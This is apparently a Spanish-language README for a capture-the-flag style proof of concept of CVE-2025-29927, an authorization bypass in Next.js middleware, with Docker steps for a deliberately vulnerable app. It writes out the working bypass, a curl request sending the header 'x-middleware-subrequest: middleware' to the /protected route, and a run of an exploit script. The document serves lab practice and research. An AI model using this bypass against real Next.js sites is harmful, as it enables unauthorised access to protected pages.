
CTF-style prueba de concepto que demuestra la omisión de autorización del middleware de Next.js CVE-2025-29927. Incluye una aplicación Docker vulnerable y un script de explotación para recuperar la bandera de una ruta protegida.
Este es un PoC estilo Capture The Flag (CTF) para la vulnerabilidad de Bypass de Autorización del Middleware de Next.js (CVE-2025-29927). El objetivo es evadir el middleware de autenticación y recuperar la bandera de la ruta /protected.
/protected/git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker
sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app
Esto iniciará la aplicación Next.js vulnerable en http://IP:3000
Intenta acceder:
curl -i http://IP:3000/protected
Serás redirigido a /.
curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected
Usa el exploit.py proporcionado para evadir el middleware y acceder a la ruta protegida:
python3 exploit.py -url http://IP:3000
Si tiene éxito, recuperarás la bandera de /protected.
Dockerfile - Compila la aplicación Next.js vulnerableexploit.py - Explota la vulnerabilidad para evadir la autenticaciónpages/ - Contiene las rutas vulnerables /protected y /loginmiddleware.js - La lógica vulnerable del middlewareREADME.md - Este archivoEste PoC es solo con fines educativos y de investigación. No lo uses contra sistemas que no poseas o para los cuales no tengas permiso explícito de prueba.
Encuentra la bandera explotando la vulnerabilidad y accediendo a:
http://IP:3000/protected
¡Buena suerte! 🏴☠️